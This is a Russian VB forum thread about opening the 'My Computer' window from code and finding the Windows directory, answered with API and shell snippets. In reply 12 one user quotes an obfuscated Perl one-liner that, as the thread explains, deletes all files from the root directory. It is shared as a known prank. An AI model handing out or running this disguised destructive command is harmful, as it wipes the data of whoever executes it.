| Вопрос: Как открыть окно Мой компьтер? | Добавлено: 20.06.07 11:57 |
Автор вопроса:  Stas
|
|
Люди, кто знает как из VB открыть окно мой компьютер?
И ещё как определить на каком диске пользователя стоит Windows? или вообще как найти какую - нибудь папку? Заранее всем спасибо. |
| Ответы | Всего ответов: 16 |
|
Номер ответа: 1 Автор ответа:  StudioMaX ICQ: 971351 Вопросов: 18 Ответов: 15 |
Профиль | | #1 | Добавлено: 20.06.07 12:03 |
|
Путь к Windows:
Environ("Windir" 
|
||
|
Номер ответа: 2 Автор ответа:  User Unknown Вечный Юзер! ICQ: uu@jabber.cz Вопросов: 120 Ответов: 3302 |
Профиль | | #2 | Добавлено: 20.06.07 12:12 |
| http://www.dreamincode.net/forums/showtopic17873.htm | ||
|
Номер ответа: 3 Автор ответа: Боцман ICQ: 295725312 Вопросов: 53 Ответов: 830 |
Web-сайт: Профиль | | #3 | Добавлено: 20.06.07 18:04 |
|
Private Declare Function AtlAxWinInit Lib "atl.dll" () As Long
Private Declare Function CreateWindowExA Lib "user32" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long Const WS_CHILD = &H40000000 Const WS_VISIBLE = &H40000000 Private Sub Form_Load() Call CreateWindowExA(0, "AtlAxWin", "::{20D04FE0-3AEA-1069-A2D8-08002B30309D}", &H50000000, 0, 0, 640, 480, Me.hWnd, 0, App.hInstance, 0&
End Sub |
||
|
Номер ответа: 4 Автор ответа: БоцманICQ: 295725312 Вопросов: 53 Ответов: 830 |
Web-сайт: Профиль | | #4 | Добавлено: 20.06.07 18:09 |
|
панель управления
Private Sub Form_Load() Call AtlAxWinInit Call CreateWindowExA(0, "AtlAxWin", "::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}", &H50000000, 0, 0, 640, 480, Me.hWnd, 0, App.hInstance, 0&
End Sub Call CreateWindowExA(0, "AtlAxWin", "http://www.vbnet.ru/forum/show.aspx?id=145421&tolastpage=true", &H50000000, 0, 0, 640, 480, Me.hWnd, 0, App.hInstance, 0& QUOTE]
откроет эту страницу |
||
|
Номер ответа: 5 Автор ответа: HACKERРазработчик Offline Client Вопросов: 236 Ответов: 8362 |
Профиль | | #5 | Добавлено: 21.06.07 22:51 |
Старых приколов уже никто не помнит что-ли?
Call ShellExecute(0, "open", "...", "", "", vbNormalFocus)
|
||
|
Номер ответа: 6 Автор ответа: SharpЛидер форума ICQ: 216865379 Вопросов: 106 Ответов: 9979 |
Web-сайт: Профиль | | #6 | Добавлено: 22.06.07 14:03 |
| И что оно сделает? (Лень проверять) | ||
|
Номер ответа: 7 Автор ответа: HACKERРазработчик Offline Client Вопросов: 236 Ответов: 8362 |
Профиль | | #7 | Добавлено: 22.06.07 20:28 |
|
Пуск->Выполнить, введи три точки - ][уль там проверять
|
||
|
Номер ответа: 8 Автор ответа: SharpЛидер форума ICQ: 216865379 Вопросов: 106 Ответов: 9979 |
Web-сайт: Профиль | | #8 | Добавлено: 23.06.07 17:48 |
|
Ну вообще-то у меня нет традиции, увидев какую-нибудь фигню незнакомую, сразу ее вбивать в командную строку Но окошко "Мой компьютер" оно выводит, да
|
||
|
Номер ответа: 9 Автор ответа: HACKERРазработчик Offline Client Вопросов: 236 Ответов: 8362 |
Профиль | | #9 | Добавлено: 23.06.07 22:12 |
|
|
||
|
Номер ответа: 10 Автор ответа: SharpЛидер форума ICQ: 216865379 Вопросов: 106 Ответов: 9979 |
Web-сайт: Профиль | | #10 | Добавлено: 24.06.07 00:43 |
|
А то вот на ЛОРе проскакивала темка по поводу скрипта на перле
|
||
|
Номер ответа: 11 Автор ответа: HACKERРазработчик Offline Client Вопросов: 236 Ответов: 8362 |
Профиль | | #11 | Добавлено: 24.06.07 01:45 |
| ? | ||
|
Номер ответа: 12 Автор ответа: SharpЛидер форума ICQ: 216865379 Вопросов: 106 Ответов: 9979 |
Web-сайт: Профиль | | #12 | Добавлено: 24.06.07 18:13 |
|
#!/usr/bin/env perl $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see
Вот этого вот скрипта
|
||
|
Номер ответа: 13 Автор ответа: HACKERРазработчик Offline Client Вопросов: 236 Ответов: 8362 |
Профиль | | #13 | Добавлено: 24.06.07 19:28 |
|
Ого И чё он делает? (Лень проверять)
p.s. И перл не настроен... |
||
|
Номер ответа: 14 Автор ответа: SharpЛидер форума ICQ: 216865379 Вопросов: 106 Ответов: 9979 |
Web-сайт: Профиль | | #14 | Добавлено: 24.06.07 21:44 |
|
У тебя все равно не получится увидеть полностью его действие, т.к. у тебя Windows. Вкратце, этот скрипт удаляет все файлы, начиная от корня, используя команду rm. После того, как этот скрипт был запощен на ЛОРе, вдруг выяснилось, что огромное количество оленей и прочих анонимусов сидит в линухе под рутом
|
||
|
Номер ответа: 15 Автор ответа: HACKERРазработчик Offline Client Вопросов: 236 Ответов: 8362 |
Профиль | | #15 | Добавлено: 25.06.07 00:28 |
|
ааа.. фсосал что имеется ввиду под ЛОРом, а то я не въехал с первого раза )) В вообще никогда бы не догадался что скипт удаляет файлы используя rm Ну нету же там "rm" да и цикла невижу для обоха диры.. )))
(с) Слепой. p.s. а по умолчанию же рут, да? Я просто проинсталил ред хет на вирт тачку, я тогда тож олень под рутом.. ыы )) а де там менять? )
|
||